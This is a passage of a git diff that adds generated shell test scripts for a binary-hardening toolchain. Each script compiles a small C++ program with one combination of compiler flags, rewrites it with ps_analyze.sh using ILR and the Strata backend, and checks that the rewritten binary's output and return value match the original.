+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..3bf64372ef0f34b5e78e26cb182622dabd295a80
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="    -fPIC -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="    -fPIC -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.-fPIC.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.-fPIC.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..afa98c8e4550672403f45255d9bc3a85ae5f4e4f
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.-fPIC.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="    -fPIC   -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="    -fPIC   -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.-fPIC.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.-fPIC.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..466aa6e781333bf6c129dad303ec4a9d40f4798a
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.-fPIC.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="    -fPIC   -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="    -fPIC   -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..f0e3980baedc33258e161525c11b5b4a2655a5d0
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="    -fPIC     -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="    -fPIC     -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..0afd07ddd680161f7b74897f5e6ae799a6a1f83e
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="    -fPIC     -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="    -fPIC     -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..af5f2d8a0d015afc4c008991fb8b3f7831319427
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="      -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="      -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
